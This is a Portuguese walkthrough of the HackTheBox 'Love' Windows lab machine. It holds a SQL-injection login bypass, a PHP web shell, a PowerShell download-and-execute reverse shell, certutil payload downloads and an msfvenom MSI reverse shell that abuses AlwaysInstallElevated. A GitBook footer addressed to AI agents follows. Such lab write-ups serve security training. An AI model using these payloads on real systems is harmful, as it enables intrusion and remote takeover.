> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Relato do HackTheBox Love {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Injeção de SQL (SQLI) * Falsificação de Solicitação do Lado do Servidor (SSRF) * Abuso de Upload de Arquivos * Explorando o Sistema de Votação * Abusando do AlwaysInstallElevated (arquivo msiexec/msi) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** Explorando portas abertas e exportando no arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Análise das portas abertas com extractport:** Uso da função extractport para exibir portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura da versão das portas com o Nmap:** Usando o Nmap para escanear a versão das portas e extrair informações no arquivo "targeted": ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

**Procurar diretórios:** Usamos o Gobuster para procurar diretórios no site: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

No `admin` diretório, descobrimos um painel de gerenciamento.

## Exploração do Sistema de Votação: Neste caso, há duas maneiras de operar o painel de gerenciamento do Sistema de Votação: ### 1. Vulnerabilidade SSRF: A porta 443 revela um `staging.love.htb` subdomínio que adicionamos ao nosso `/etc/hosts` arquivo.

Este site pode escanear sites por meio de uma URL.

Ao escanear `localhost:5000` (não disponível de fora), descobrimos credenciais: `admin: @LoveIsInTheAir!!!!`

Observação: Do lado de fora, a mensagem " You don't have permission to access this resource." é exibida, bloqueando o acesso.

### **2. Vulnerabilidade de Injeção SQL (**[**SQLi**](/pt-br/web/sql-injection.md)**) :** Com `searchsploit` procuramos vulnerabilidades específicas do Sistema de Votação e encontramos o seguinte payload:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Usando o Burp Suite, acessamos o painel.

## Vulnerabilidade de upload de arquivos: Uma vez no painel, há uma opção que permite criar um novo usuário. Criamos um `cmd.php` arquivo para executar comandos no servidor:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

O painel não aplica nenhuma verificação de segurança, permitindo-nos injetar comandos (por exemplo, `whoami`). Ao testar um comando ping, verificamos a conexão:

verificaremos se ele consegue executar um ping

ping 10.10.14.10
tcpdump -i tun0 icmp

Como recebemos a resposta, confirmamos a possibilidade de executar comandos na máquina alvo

**Comando PowerShell para shell reversa** Assim que virmos que podemos executar comandos, baixaremos o `PS.ps1` script para a nossa equipe. {% embed url="" %} No final do script, adicionamos a seguinte linha: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Vamos criar um servidor web com o `PS.ps1` script ```bash python3 -m http.server 80 ``` Em seguida, modificaremos o comando para apontar para o nosso servidor web: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Por fim, ouvimos na porta 4444: ```bash rlwrap nc -nlvp 4444 ```

### Flag user.txt:

## Escalada de privilégio: ### **Enumeração com winPEASx64.exe** Para realizar a escalada de privilégios em um servidor Windows, primeiro execute a `winPEAS` ferramenta de reconhecimento. {% embed url="" %} Baixando a ferramenta de reconhecimento WIN-peacex64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Verificando o AlwaysInstallElevated O `winPEAS` a ferramenta verifica várias configurações de segurança do sistema. Estamos particularmente interessados na `AlwaysInstallElevated` chave do registro. Se essa chave estiver definida como `1` em `HKLM` (HKEY/ LOCAL/ MACHINE), isso indica que todos os `.msi` arquivos podem ser instalados com privilégios elevados, o que é uma vulnerabilidade.

{% embed url="" %} **Criar um arquivo .msi para obter uma shell reversa** Para aproveitar essa vulnerabilidade, vamos criar um `.msi` arquivo que, uma vez executado, nos fornecerá uma shell reversa. Usamos `msfvenom` para gerar esse arquivo: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Transferir o arquivo .msi**/ arquivo Após criar o arquivo, devemos transferi-lo para a máquina alvo: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Escutar na porta 443**/ Antes de executar o `.msi` arquivo, devemos ficar em escuta na porta que especificamos. Vamos usar `nc` (netcat) para isso: ```powershell rlwrap nc -nlvp 443 ``` **Execução do comando de instalação**/ Por fim, executamos o `.msi` arquivo usando `msiexec`, o que aciona a instalação silenciosa: ```powershell msiexec /quiet /qn /i reverse.msi ```

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.